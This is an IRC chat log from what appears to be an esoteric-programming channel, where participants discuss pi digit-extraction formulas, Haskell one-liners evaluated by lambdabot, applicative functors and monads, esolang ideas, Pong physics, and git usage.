01:42:25 <pikhq> http://fabrice.bellard.free.fr/pi/pi_n2/pi_n2.html Fabrice Bellard seems to have a nice one for arbitrary bases.
01:42:39 <ehird> there's an O(n) one for base-16 isn't there?
01:44:12 <pikhq> No, from what I understand O(n^2) is the best one.
01:44:21 <pikhq> (for finding arbitrary digits)
01:44:25 <ehird> algo looks quite complex
01:44:32 <ehird> but very managable in haskell; maybe not in one line.
01:44:55 <ehird> pikhq: [[ It is still slower than the BBP algorithm [2], but it works in any base.]]
01:44:58 <pikhq> Probably not a one-liner, but Haskell does make math rather nice.
01:45:06 <ehird> haskell makes everything rather nice :-P
01:45:07 <pikhq> Oh. BBP is faster? Spiffy.
01:45:19 <ehird> but that's the cleanest way anyway ;)
01:45:19 <Warrigal> Is n the length of the required digit, or the digit itself?
01:45:24 <ehird> http://en.wikipedia.org/wiki/BBP-type_formula
01:45:27 <ehird> looks simple enough
01:45:34 <ehird> Warrigal: the position, I think.
01:45:53 <ehird> pikhq: The formula yields an algorithm for extracting hexadecimal digits of π. In order to perform digit extraction first we must rewrite the formula as
01:46:17 <ehird> Bellard's formula, as used by PiHex, the now-completed distributed computing project, is used to calculate the nth digit of π in base 2. It is a faster version (about 43% faster[1]) of the Bailey–Borwein–Plouffe formula. Bellard's formula was discovered by Fabrice Bellard.
01:46:22 <ehird> bellard wins again, with a new one
01:46:25 <ehird> http://en.wikipedia.org/wiki/Bellard%27s_formula
01:46:28 <ehird> it's also *very* simple
01:46:34 <ehird> could easily be a oneliner
01:46:44 <ehird> Warrigal: i believe so.
01:46:54 <pikhq> Fabrice Bellard wins again!
01:47:24 <ehird> i'll let you do the trivial work of translating it to haskell :P
01:48:35 <Warrigal> Corecursion is totally recursion.
01:48:51 <Warrigal> (Actually, it seems like recursion is implemented as a form of corecursion, in Haskell.)
01:57:31 <ehird> pikhq: How does the definition go?
01:57:59 <pikhq> I got interrupted by a phone call.
02:08:15 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
02:27:21 -!- GreaseMonkey has joined.
02:32:36 * pikhq wishes that getting a digit of pi were a function of the previous digits
02:35:06 <HackEgo> pretentious \ 1845, from Fr. prtentieux (17c.), from prtention "pretension," from M.L. pretentionem (nom. pretentio) "pretension," from L.L. prtensus "pretend" (see pretense). \ \ unpretentious \ 1859, from un- (1) "not" + pretentious. \ \ Pharisee \ O.E. Fariseos, O.Fr. pharise (13c.), both from L.L. Pharisus,
02:35:15 <HackEgo> pretense \ 1425, "the putting forth of a claim," from M.Fr. pretensse, from fem. of L.L. prtensus, from L. prtensus, pp. of prtendere (see pretend). Meaning "false or hypocritical profession" is from 1545. Pretension is c.1600 meaning "assertion;" sense of "ostentation" is from 1727. \ \ whitecap \ 1668, of birds,
02:36:04 <HackEgo> ostentation \ 1436, from M.Fr. ostentation (1366), from L. ostentationem (nom. ostentatio) "vain display," from ostentatus, pp. of ostentare "to display," freq. of ostendere (see ostensible). \ \ rumba (n.) \ 1922, from Cuban Sp., originally "spree, carousal," derived from Sp. rumbo "spree, party," earlier "ostentation,
02:37:34 <pikhq> http://74.125.47.132/search?q=cache:RylQCflF1YUJ:web.comlab.ox.ac.uk/people/Jeremy.Gibbons/publications/spigot.pdf+Digits+of+pi+as+a+function+of+digits+of+pi&cd=2&hl=en&ct=clnk&gl=us
02:37:50 <pikhq> Not one I want to reimplement, mind, but...
02:38:05 <pikhq> (note: the paper describes the algorithm in Haskell.)
02:48:06 -!- oerjan has joined.
03:07:35 -!- CESSMASTER has quit ("Computer has gone to sleep").
03:07:58 -!- CESSMASTER has joined.
03:15:08 * oerjan has forgotten the prime trick :(
03:15:42 <fungot> Slereah_: let me be a little more
03:16:05 <oerjan> @vixen You're not male, are you?
03:16:28 <lambdabot> ever just get the urge to go out and kill a puppy?
03:17:42 <pikhq> oerjan: What prime trick?
03:17:54 * oerjan tries to look it up on haskell.org
03:18:21 <pikhq> > let isprime n = not . any ((==0) . (n `mod`)) . takeWhile ((<= n) . (^2)) $ primelist; primelist = 2 : [x | x <- [3,5..], isprime x] in primelist
03:18:22 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
03:18:54 * pikhq is proud of himself for having figured out for himself that that's the Sieve of Eratosthenes...
03:21:07 <Warrigal> pikhq: that's not the Sieve of Eratosthenes.
03:21:27 <pikhq> Warrigal: ... Is close. Shaddup.
03:21:58 <Warrigal> I vaguely remember reading that trial division outperforms it for large numbers.
03:22:21 <pikhq> Anyways, I know how the thing works.
03:22:46 <oerjan> naturally, the sieve is a way of getting _all_ primes, not for testing primes
03:23:13 <pikhq> Why yes, of course.
03:23:34 <Warrigal> That doesn't really make sense, though, as that expression *is* trial division, really.
03:26:36 * oerjan searches for himself on #haskell instead
03:27:01 <oerjan> > nubBy (((>1).).gcd) [2..]
03:27:03 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
03:27:39 <oerjan> (i didn't invent it, i just knew i'd demonstrated it)
03:28:40 <Warrigal> Something that you have to crack open with your brain.
03:29:15 <Warrigal> Very short and pretty inefficient.
03:29:18 <pikhq> ... Wait, wait. Remove all numbers from the list numbers greater than 2 where the greatest common denominator is greater than 1?
03:29:29 <oerjan> > fix ((0:).(1:).ap(zipWith(+))tail)
03:29:30 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
03:29:31 <lambdabot> nubBy eq (x:xs) = x : nubBy eq (filter (\ y -> not (eq x y)) xs)
03:29:31 <pikhq> That is beautiful. Slow, but purdy.
03:30:06 <Warrigal> > nubBy(((>1).).gcd)(fix((0:).(1:).ap(zipWith(+))tail))
03:30:12 <lambdabot> mueval-core: Prelude.read: no parse
03:30:16 <pikhq> oerjan: Fibonacci with a combinator.
03:30:23 <pikhq> Followed by borken code.
03:31:05 <Warrigal> > nubBy (((>1).).gcd) (fix ((0:).(1:).ap(zipWith(+))tail))
03:31:07 <oerjan> nothing slow about the fibonacci, btw, afaik
03:31:10 <lambdabot> mueval-core: Prelude.read: no parse
03:31:47 <Warrigal> > nubBy (((>1).).gcd) fix ((0:).(1:).ap(zipWith(+))tail)
03:31:49 <lambdabot> Couldn't match expected type `[a]'
03:32:27 <oerjan> why the heck is that a parse error
03:32:47 <Warrigal> > (fix ((0:).(1:).ap(zipWith(+))tail))
03:32:48 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
03:32:56 <Warrigal> > aard (fix ((0:).(1:).ap(zipWith(+))tail))
03:33:15 <Warrigal> > aard () (fix ((0:).(1:).ap(zipWith(+))tail))
03:33:24 <Warrigal> > aard (foo.gcd) (fix ((0:).(1:).ap(zipWith(+))tail))
03:33:26 <lambdabot> Not in scope: `aard'Not in scope: `foo'
03:33:33 <Warrigal> > aard ((foo.).gcd) (fix ((0:).(1:).ap(zipWith(+))tail))
03:33:35 <lambdabot> Not in scope: `aard'Not in scope: `foo'
03:33:40 <Warrigal> > aard (((>1).).gcd) (fix ((0:).(1:).ap(zipWith(+))tail))
03:33:48 <Warrigal> > nubBy (((>1).).gcd) (fix ((0:).(1:).ap(zipWith(+))tail))
03:33:54 <lambdabot> mueval-core: Prelude.read: no parse
03:33:57 <oerjan> Warrigal: and what is the point of this?
03:34:06 <Warrigal> To figure out why it's a parse error.
03:34:13 <Warrigal> The expression itself appears to parse fine.
03:34:48 <Warrigal> Something else is failing to parse.
03:34:50 <oerjan> why would it even use Prelude.read, i wonder
03:35:07 <Warrigal> > show (nubBy (((>1).).gcd) (fix ((0:).(1:).ap(zipWith(+))tail)))
03:35:12 <lambdabot> mueval-core: Prelude.read: no parse
03:35:41 <oerjan> seems lambdabot has been broken...
03:37:47 <oerjan> > nubBy (((>1).).gcd) $ fix ((0:).(1:).ap(zipWith(+))tail)
03:37:53 <lambdabot> mueval-core: Prelude.read: no parse
03:38:42 <oerjan> > nubBy (((>1).).gcd) [0,1,1,2]
03:38:55 <oerjan> > nubBy (((>1).).gcd) [0,1,1,2,3,5,8]
03:39:16 <oerjan> > nubBy (((>1).).gcd) (0:repeat 1)
03:39:18 <lambdabot> [0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,...
03:39:58 <oerjan> of course all fibonacci numbers are relatively prime. hm.
03:40:32 <oerjan> > let fib = 0:1:zipWith(+)fib(tail fib) in nubBy (((>1).).gcd) fib
03:40:38 <lambdabot> mueval-core: Prelude.read: no parse
03:40:49 <oerjan> i think somehow it _does_ break
03:42:48 <oerjan> ah it halts after 0,1,1 when i test it in winhugs
03:43:28 <oerjan> > nubBy (((>1).).gcd) (0:repeat 2)
03:43:33 <lambdabot> mueval-core: Prelude.read: no parse
03:44:00 <oerjan> gcd 0 n = n, so everything > 1 is dropped when there is a 0...
03:44:37 <oerjan> Warrigal: mystery solved
03:45:31 <oerjan> > nubBy (((>1).).gcd) $ fix ((1:).(2:).ap(zipWith(+))tail)
03:45:33 <lambdabot> [1,2,3,5,13,89,233,1597,4181,28657,514229,1346269,24157817,165580141,433494...
03:46:00 <oerjan> oh not _all_ fibonacci numbers are relatively prime, only all consecutive ones
03:49:13 <oerjan> <ehird> foo where a=b;c=d <-- that's not actually a legal expression. only hugs allows it i think
03:49:28 <oerjan> !haskell a where a = 2+2
03:56:48 <lambdabot> "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!...
04:02:15 <lambdabot> "* Exception: * Exception: * Exception: * Exception: * Exception: * Excepti...
04:08:41 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
04:08:49 <lambdabot> Node {rootLabel = (), subForest = [Node {rootLabel = (), subForest = [Node ...
04:13:15 <oerjan> > fix (ap Node . return)
04:13:16 <lambdabot> Couldn't match expected type `Data.Tree.Forest a'
04:14:10 <oerjan> > fix (join Node . return)
04:14:11 <lambdabot> Occurs check: cannot construct the infinite type:
04:30:15 -!- bsmntbombdood has joined.
04:34:02 -!- oerjan has quit ("leaving").
04:36:13 -!- jix_ has quit (hubbard.freenode.net irc.freenode.net).
04:36:13 -!- lambdabot has quit (hubbard.freenode.net irc.freenode.net).
04:36:13 -!- Leonidas has quit (hubbard.freenode.net irc.freenode.net).
04:36:14 -!- coppro has quit (hubbard.freenode.net irc.freenode.net).
04:36:14 -!- Dewi has quit (hubbard.freenode.net irc.freenode.net).
04:36:15 -!- Ilari has quit (hubbard.freenode.net irc.freenode.net).
04:36:39 -!- jix_ has joined.
04:36:39 -!- lambdabot has joined.
04:36:39 -!- Leonidas has joined.
04:36:49 -!- coppro has joined.
04:36:49 -!- Dewi has joined.
04:36:49 -!- Ilari has joined.
04:36:51 -!- coppro has quit ("The only thing I know is that I know nothing").
04:37:10 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
04:53:39 -!- dbc has quit (Read error: 60 (Operation timed out)).
04:54:00 -!- dbc has joined.
05:01:54 -!- coppro has joined.
05:25:46 -!- bsmntbombdood has joined.
05:47:22 <pikhq> Okay, I think my brain *finally* broke.
05:47:35 <comex> that would be logical
05:47:53 <pikhq> Applicative functors, namely. With functions.
05:48:37 <pikhq> Also, I recently saw the word 'decomposition', and thought "Hmm. Inverse of (.)..."
05:50:06 <comex> oh, those functors
05:50:17 <comex> I thought you meant C++ functors
05:51:36 <pikhq> The only thing brain-breaking about C++ is its type system being Turing complete.
05:51:52 <comex> if you think that, you have not used c++ :/
05:52:28 <pikhq> Or I am so very broken-minded by C++ template programmers that everything else seemed mundane.
05:59:01 -!- amuck has joined.
05:59:23 -!- holmak has joined.
06:03:34 -!- holmak has left (?).
06:31:12 -!- FireFly has joined.
06:58:46 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
07:07:38 -!- kar8nga has joined.
07:07:59 -!- FireFly has quit ("Later").
07:41:24 -!- kar8nga has quit (Remote closed the connection).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:22:13 -!- tombom has joined.
08:22:26 -!- coppro has quit (Read error: 110 (Connection timed out)).
08:40:54 -!- asiekierka has joined.
08:50:55 <asiekierka> and I want to do something related to esolangs!
08:52:52 -!- oerjan has joined.
08:53:28 -!- amca has joined.
08:54:07 -!- Tidus35 has joined.
08:55:32 <oerjan> pikhq: what, you consider applicatives _worse_ than monads? but every monad can be made an applicative...
08:56:12 -!- Judofyr has joined.
08:56:18 <oerjan> i guess that doesn't _necessarily_ help
08:56:19 -!- Judofyr has quit (Remote closed the connection).
09:00:33 <Deewiant> I still don't get applicatives, but I get monads just fine :-P
09:01:36 <asiekierka> Deewiant: I don't want to touch DOBELA anymore
09:01:55 <asiekierka> And I'm (not) writing a note (t)here: "HUGE SUCCESS"
09:02:22 <Deewiant> How can an esolang be a failure :-P
09:02:47 <asiekierka> but i'm talking in terms of difficulty
09:03:07 <asiekierka> so I may be able to implement and invent esolangs wherever I am
09:03:23 <asiekierka> But no, I just don't like DOBELA myself
09:03:41 <asiekierka> I think I should get to work on Anglent
09:04:51 <asiekierka> you just write angles from -90 to 90 and length
09:05:13 <asiekierka> Then the application does some comparison, and gets a giant switch...case construction
09:05:22 <asiekierka> Easy to write, hard as hell to draw on paper
09:06:11 <asiekierka> Nah, anglent is an esolang to be finished up later
09:07:24 <oerjan> er, sounds like turtle graphics?
09:07:50 <oerjan> the drawing bit, that is
09:07:54 <asiekierka> http://img26.imageshack.us/img26/6489/dsc01722q.jpg - This is how a simple program looked like
09:08:15 -!- ehird has quit (Remote closed the connection).
09:08:28 -!- ehird has joined.
09:08:50 <asiekierka> angle (where 0 is a horizontal line, range from -90 to 90), length of line
09:09:04 <oerjan> oh so the angles are not cumulative
09:09:04 <asiekierka> so 0,10 is a horizontal line 10 milimetres long
09:09:17 <oerjan> not turtle graphics then
09:12:39 -!- asiekierk has joined.
09:12:41 <asiekierk> the next one is 20,6, so we do 20-10=10, for example an inc by (6/3=2) of the current variable
09:13:04 <asiekierk> and the angle is within the range of 90...-90
09:14:32 <oerjan> but is that after or before subtracting the angles?
09:15:10 -!- bsmntbombdood has quit (Read error: 113 (No route to host)).
09:15:44 -!- bsmntbombdood has joined.
09:17:25 -!- asiekierka has quit (Read error: 60 (Operation timed out)).
09:38:27 -!- asiekierk has changed nick to asiekiekra.
09:38:29 -!- asiekiekra has changed nick to asiekierka.
09:38:48 <asiekierka> But Anglent is a secondary language for me
09:48:55 -!- MigoMipo has joined.
10:02:04 <asiekierka> I wonder if there could be an esolang based on video compression
10:02:42 <asiekierka> Idea 1: You can switch between 8x8 blocks of memory, then you can only either shift the whole block right or shift the 1st column down.
10:02:53 <asiekierka> You access the block at 0,0 (x = 0-7, y = 0-7)
10:03:21 <asiekierka> (I'll use R = Shift Right, D = Shift Down)
10:05:07 -!- asiekierka has quit.
10:25:02 -!- oerjan has quit ("leaving").
10:35:16 -!- asiekierka has joined.
10:36:44 <asiekierka> my Programming-Applications-On-The-Road part of a toolkit (containing only one part) is there
10:51:51 -!- deveah has joined.
11:09:14 <amca> asiekierka: Can I ask what your preferred programming languages are?
11:37:23 * amca hadnt heard of it before :(
11:38:16 * asiekierka didn't either, until he saw the Psion of his friend
11:38:31 <amca> How do you like it?
11:39:06 <asiekierka> Well, IMHO it's sometimes troubling but works quite well
11:39:42 <amca> Does it allow you to control/display gui elements?
11:41:24 <amca> What systems have u programmed 6502 on?
11:44:13 <amca> Can I ask what year you started programming?
12:04:58 <asiekierka> I only wonder how to make the ball bounce realistically
12:05:45 <amca> Having trouble with that?
12:05:57 <asiekierka> i'm not a math wizard; too young for that
12:06:28 <amca> You having trouble making the ball bounce at the right angle?
12:06:49 <asiekierka> Because i'm not old enough to know trigs here in Poland :P
12:06:57 <asiekierka> or at least i didn't learn about it yet
12:07:05 <amca> I dont think you need to know trig
12:07:23 <amca> You have the x and y velocity, right?
12:07:53 <amca> Say there is a wall parallel with the y axis...
12:08:26 <asiekierka> I think the X axis would swap it's direction
12:08:33 <amca> When the ball bounces off of it, the y velocity will stay the same, but the x velocity will by multiplied by -1
12:08:52 <amca> Happy to help :)
12:09:39 <amca> And if it is bouncing off a wall parallel to the x axis, the y velocity is * -1
12:10:10 <asiekierka> What if the x velocity is 1 and the y one is 0
12:10:11 <amca> When it collides with a corner?
12:10:17 <asiekierka> and it hits a wall parallel with the y axis
12:11:05 <amca> Normally in pong you only have vertical and horizontal lines
12:11:28 <asiekierka> But shouldn't the ball get more angled if hitting the pong bar at the edges
12:12:19 <amca> You just increase the "sideways" velocity proportional to the distance to the center of the paddle
12:13:11 <amca> Or you could make it dependant on the sideways velocity of the paddle
12:26:36 <asiekierka> With a slow-refresh screen is a real pain
12:29:09 <amca> Using sprites or rectangles?
12:30:55 <Deewiant> asiekierka: OPL is Open Programming Language, not Object Programming Language, isn't it?
12:31:40 <asiekierka> Are you talking about the PSION Object Programming Language
12:32:11 <Deewiant> "The language was originally called Organiser Programming Language developed by Psion Ltd for the Psion Organiser."
12:32:15 <Deewiant> -- http://en.wikipedia.org/wiki/Open_Programming_Language
12:32:18 <asiekierka> FILExt · OPL · Psion Organiser Programming Language ...
12:32:30 <Deewiant> filext isn't an accurate sourec
12:32:37 <asiekierka> The language was originally called Organiser Programming Language
12:32:41 <Deewiant> Of course, neither is Wikipedia, but. :-P
12:32:55 <asiekierka> And seemingly it became "Open" after Psion retired from PDAs
12:32:59 <Deewiant> "After Psion retired from the PDA market, the project was changed to open source and the acronym was re-interpreted."
12:33:33 <Deewiant> I see that that is not exactly recent, which explains it.
12:39:12 <asiekierka> Ok, I... uh, made the first paddle work
12:40:03 <asiekierka> a simple AI that doesn't let you win, for now
12:50:38 -!- KingOfKarlsruhe has joined.
13:00:18 -!- Tidus35 has quit (hubbard.freenode.net irc.freenode.net).
13:00:18 -!- jix_ has quit (hubbard.freenode.net irc.freenode.net).
13:00:19 -!- Leonidas has quit (hubbard.freenode.net irc.freenode.net).
13:00:19 -!- lambdabot has quit (hubbard.freenode.net irc.freenode.net).
13:00:39 -!- Tidus35 has joined.
13:00:39 -!- jix_ has joined.
13:00:39 -!- lambdabot has joined.
13:00:39 -!- Leonidas has joined.
13:10:57 <asiekierka> One interesting thing about the Psion Series 3
13:13:52 -!- jix_ has quit (hubbard.freenode.net irc.freenode.net).
13:13:52 -!- Tidus35 has quit (hubbard.freenode.net irc.freenode.net).
13:13:52 -!- Leonidas has quit (hubbard.freenode.net irc.freenode.net).
13:13:52 -!- lambdabot has quit (hubbard.freenode.net irc.freenode.net).
13:14:05 -!- Tidus35 has joined.
13:14:05 -!- jix_ has joined.
13:14:05 -!- lambdabot has joined.
13:14:05 -!- Leonidas has joined.
13:15:46 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
13:27:59 <AnMaster> fun.... I managed to make the optimisations passes in in-between never "converge" on a single "solution" (that is, I run all the passes and check against the state before, if it differs I run all passes again (and so on), until nothing differs against the previous iteration, but somehow it now ends up "oscillating" between four different states...)
13:51:15 -!- amuck has left (?).
14:00:33 -!- KingOfKarlsruhe has quit (Remote closed the connection).
14:06:05 -!- KingOfKarlsruhe has joined.
14:49:41 -!- FireFly has joined.
14:55:35 <Warrigal> pikhq: applicative functors? Sounds like there's a Haskell thing I haven't heard of.
15:02:41 <AnMaster> lets see... what is the complexity of a function that for every vertex (V1) of a graph, iterates over the set of directly reachable vertices from V1?
15:03:49 -!- MigoMipo has joined.
15:04:08 <Warrigal> It's O(n) in the number of operations that must be performed.
15:04:29 <Warrigal> So, um, O(n*m) where n is the number of vertices and m is the average number of operations that must be performed per vertex.
15:06:23 <Warrigal> Assuming you can hop between all the vertices as if they were a linked list without any time penalty...
15:06:25 <AnMaster> sorry, that part isn't worse, the bit it does with those directly reachable vertices is worse.
15:08:52 <AnMaster> Warrigal, due to the operation performed on those reachable vertices.
15:09:43 <AnMaster> which is "split into two sets, based on node label, then for each one in set A, do add an edge from each one in set B to it".
15:09:53 -!- BeholdMyGlory has joined.
15:10:13 <AnMaster> these new edges doesn't affect when iterating over more nodes ahead.
15:10:41 <AnMaster> (because the actual new edges are inserted in a copy basically).
15:11:45 <AnMaster> I need a copy anyway for other reasons here, so modifying in place wouldn't save anything.
15:12:23 <AnMaster> (those other reasons being this is used to generate a new graph with some properties while keeping the old one for other code that needs that version)
15:13:06 <AnMaster> anyway got to work out a better algorithm, since profiling shows that this bit takes about 85% of the total runtime. bbl
15:14:40 <pikhq> Warrigal: (+) <*> [1..10] <+> [5,7..51]
15:15:12 <Warrigal> pikhq: my immediate thought is that that reminds me of delimited continuations.
15:15:51 <Warrigal> What does that little piece of code do?
15:16:08 <pikhq> Same as the list comprehension [x+y | x<-[1..10] y<-[5,7..51]]
15:16:31 <Warrigal> Oh, right, those are infix operators.
15:17:19 <pikhq> (+) <*> [1..10], of course, is (in psuedo-Haskell) [1+,2+,..,9+,10+]
15:17:35 <pikhq> And <+> applies that functor to the other functor.
15:18:03 <pikhq> In the case of a list, yes.
15:18:21 <pikhq> Functions, IO, and Maybe are also applicative functors.
15:19:47 <pikhq> For the function instance, f<*>g = \x -> fx (g x)
15:21:37 <pikhq> Sorry, that was bad code. s/<*>/<$>/ s/<+>/<*>/
15:22:09 <Warrigal> (+) <$> [1..10] <*> [5,7..51]? That makes a bit more sense.
15:22:27 <Warrigal> x <*> y looks like join (map (\z -> map z y) x) or something.
15:25:32 <lambdabot> Control.Applicative (<$>) :: Functor f => (a -> b) -> f a -> f b
15:26:47 <lambdabot> Control.Applicative (<*>) :: Applicative f => f (a -> b) -> f a -> f b
15:27:33 <pikhq> Multiple instances. ^_^
15:27:33 <lambdabot> Source not found. I can't hear you -- I'm using the scrambler.
15:30:16 <pikhq> oerjan: I still don't get monads.
15:31:09 <Warrigal> So applicative functors are like limited monads, maybe.
15:32:14 * Warrigal ponders the BS combinator system.
15:32:31 <Warrigal> (B x y z = x (y z), S x y z = x z (y z).)
15:33:04 <Slereah_> Warrigal : There's a combinator system that doesn't need any parentheses
15:33:08 * Warrigal stops pondering the BS combinator system so that someone else can have a turn.
15:33:36 <Warrigal> Well, it's pretty obvious that there is one.
15:33:52 <Warrigal> If there's a nice one, that's pretty cool.
15:33:57 <Slereah_> Yeah, but I find it weird that no one made an esolanf out of it*
15:34:16 <Slereah_> You can map it to natural numbers easily
15:34:24 <Slereah_> And it's not artificial like iota
15:34:26 <deveah> esolangs aren't for everybody
15:34:43 <deveah> you can't make an esolang out of anything
15:35:00 <deveah> "This is weoivnt0wv. It's an esolang made of shit."
15:35:04 <Slereah_> Well, yeah, but combinators? You totally can
15:37:26 <Slereah_> Maybe I should try a lazy K to SKB compiler
15:39:38 <pikhq> What, you thinking of Unlambda?
15:39:55 <Warrigal> SKB? So ap, return, and whatever <*> is called in monad-land.
15:40:12 <Slereah_> That's why Lazy Bird is awesome dude
15:40:25 <Slereah_> But I meant something to erase all ` or parenthesis
15:40:52 <Warrigal> Something where left-association is mandatory.
15:41:23 <Warrigal> Anyway, my favorite combinator set is BCIKSW.
15:41:30 <Slereah_> Still 3 symbols, but at least there's no need for a particular syntax
15:41:46 <Slereah_> Well Lazy Bird totally has that *gratuitous self promotion*
15:50:58 * pikhq tries to figure out monads.
15:53:26 -!- BeholdMyGlory has quit ("kernel upgrade!").
16:00:26 <pikhq> Either I just achieved enlightenment or my brain broke and I didn't notice.
16:01:07 -!- BeholdMyGlory has joined.
16:06:43 -!- ehurd has joined.
16:12:46 -!- kar8nga has joined.
16:23:31 <pikhq> Fuck... MSI, the current Windows installer format, is... a relational database.
16:23:50 <pikhq> Microsoft uses a relational database where a freaking tarball would do.
16:27:12 <ehurd> OK, I've officially stepped beyond insanity and to "WTFBBQ"
16:27:43 <ehurd> I was using git-svn because I'm tired of not having any nifty features in the client for the VCS for this project.
16:27:51 <ehurd> (And hg-svn sucks, let's be honest)
16:28:20 <ehurd> It was basically working, but in spite of git's "leaps" and "bounds", it is the most confusing fucking system on earth short of GNU arch and/or bazaar.
16:28:41 <ehurd> So now I'm using git-svn to check out the repo, and then hg-git to check that out with hg.
16:28:44 <ehurd> It works shockingly well :P
16:29:56 <pikhq> So, you're checking out SVN with Git, then checking out Git with Hg.
16:30:17 <pikhq> I think you may have outcomplicated GNU Arch.
16:30:37 <ehurd> Except that the end system is super-simple, it's just hg. The only complication is it's two steps when I want to commit or pull.
16:31:19 <pikhq> At least it's not likely that GNU Arch will be used much in the future...
16:31:56 <ehurd> Any git experts want to tell my how to revert ONE file to the version in ... the index? Or the staging area, I guess I haven't staged the file either, but suffice to say the version in the "repository"
16:32:02 <pikhq> GNU Arch is defunct; Bazaar is recommended in its place.
16:32:17 <pikhq> Not that that's much better. :P
16:32:40 <ehurd> git revert certainly isn't it, git reset --{anything} HEAD^ path just barfs and tells me it doesn't work on paths.
16:32:49 <ehurd> And scouring man pages seems to tell me roughly nothing.
16:33:00 * pikhq notes that git needs a frontend.
16:33:14 <ehurd> git gui sucks both outloud and quietly to itself.
16:34:39 <ehurd> myndzi: RETRIBUTION \o/
16:36:15 <ehurd> I'm GregorR-L. ehird complained about people with similar names yesterday.
16:36:32 <ehurd> Feel free to /nick eherd
16:36:33 <AnMaster> ehurd, who was it in that case yesterday
16:36:54 <AnMaster> since I actually wanted to ask him something
16:36:55 <ehurd> Well, he's logged in :P
16:37:16 <ehurd> Yeah, I know, so that doesn't really tell us much, but I'm not psychic, so *eh*
16:37:47 <AnMaster> ehurd, he hasn't talked recently then I guess?
16:40:54 -!- kar8nga has quit (Remote closed the connection).
16:53:14 -!- KingOfKarlsruhe has quit (Remote closed the connection).
17:08:57 -!- tombom has quit ("Peace and Protection 4.22.2").
17:11:26 <ehurd> git checkout??? >_O
17:11:29 <Deewiant> IIRC. 'git status' tells you, anyway
17:12:01 <Deewiant> Yes, git checkout can be used to update paths as well.
17:12:15 <ehurd> # (use "git checkout -- <file>..." to discard changes in working directory)
17:21:29 <AnMaster> ehurd, I was confused by that in git recently too
17:28:18 -!- Sgeo has joined.
17:52:25 -!- inurinternet has joined.
17:58:50 <ehird> 19:49:13 <oerjan> <ehird> foo where a=b;c=d <-- that's not actually a legal expression. only hugs allows it i think
17:59:00 <ehird> 20:02:14 <Gracenotes> > fix error
17:59:00 <ehird> 20:02:15 <lambdabot> "* Exception: * Exception: * Exception: * Exception: * Exception: * Excepti...
17:59:30 <ehird> 21:47:22 <pikhq> Okay, I think my brain *finally* broke.
17:59:30 <ehird> 21:47:28 <pikhq> Functors did it.
17:59:31 <ehird> 21:47:53 <pikhq> Applicative functors, namely. With functions.
17:59:34 <ehird> easy enough to pick up
17:59:52 <Gracenotes> what's really going to kill you is applicative functors... without functions!
17:59:56 <ehird> pikhq: btw monads are a subset of functors, in theory
18:00:01 <ehird> so that's quite expected
18:00:14 <ehird> pikhq: also, "fmap" is both (.) and map, for functions and lists
18:00:16 <ehird> > fmap succ [1,2,3]
18:00:23 <ehird> > fmap (fmap succ succ) [1,2,3]
18:00:29 <pikhq> I think it all *finally* hit.
18:00:34 <pikhq> And damn, is it cool.
18:00:48 <ehird> pikhq: you got them in the logs I haven't read yet?
18:00:49 <Gracenotes> all monads are functors. not all functors are monads. all monads are applicative. not all applicatives are monads.
18:00:55 <ehird> what are you, some super-learner?
18:02:17 <pikhq> ehird: Actually, yes, I kinda am...
18:02:23 <pikhq> I learned C from man pages, man.
18:02:28 <ehird> pikhq: i'm jealous
18:02:36 <ehird> it took me months to get haskell :(
18:02:55 <pikhq> Gracenotes: Yes, but they're reference documentation.
18:03:08 <Gracenotes> pikhq: so how's your grokkitude of, say, the internals of the state monad
18:03:34 <lambdabot> Source not found. It can only be attributed to human error.
18:03:45 <lambdabot> Source not found. Sorry about this, I know it's a bit silly.
18:03:48 <lambdabot> Source not found. Listen, broccoli brains, I don't have time to listen to this trash.
18:03:53 <lambdabot> Source not found. And you call yourself a Rocket Scientist!
18:03:53 <pikhq> Not fully grokked. It's only starting to hit what a monad *is*.
18:03:58 <ehird> i forgot how you do that :p
18:05:33 <ehird> > mappend () () :: [()]
18:05:35 <lambdabot> Couldn't match expected type `[()]' against inferred type `()'
18:05:39 <Gracenotes> honestly the hardest part for me was that all runState did was take a State object out of its newtyped constructor
18:05:43 <ehird> > mappend [()] [(),()] :: [()]
18:05:43 <Deewiant> Monoids are groups without inverses
18:05:44 <pikhq> Oh. That's what you call those.
18:05:52 <ehird> > mconcat [[()], [(),()]] :: [()]
18:05:54 <Deewiant> Or equivalently, semigroups with identity
18:06:08 <ehird> pikhq: define those
18:06:11 <Gracenotes> <sarcasm>oh that makes it so much more clear Deewiant</sarcasm>
18:06:45 <pikhq> ... Actually, nah. Not getting monoids and monads quite yet.
18:06:53 <Deewiant> Gracenotes: But really, it's a simple concept.
18:07:15 <Gracenotes> hahaha. monoids are a basic algebraic structure, but there's no reason to bring abstract algebra just because
18:07:18 <Deewiant> Monads are much more complicated and incidentally have little to do with monads.
18:07:18 <ehird> i learned by first learning the conventional monads (IO, State) and then some weirder ones ([a]), so I learned what monads can do rather than what they are
18:07:28 <ehird> Deewiant: for some definition of complicated
18:07:50 <Deewiant> (Although monads can be defined as monoids in some category)
18:08:26 <ehird> 04:05:57 <asiekierka> i'm not a math wizard; too young for that
18:08:30 <ehird> hate. this attitude.
18:09:23 <Gracenotes> pikhq: anyway, monoids are a small thing to get... you just need some examples. So you know how newtyped constructors work, and stuff?
18:09:28 <pikhq> This is where I accuse asiekierka of being worse at math than a 13-year-old. :P
18:09:42 <pikhq> Gracenotes: Vaguely.
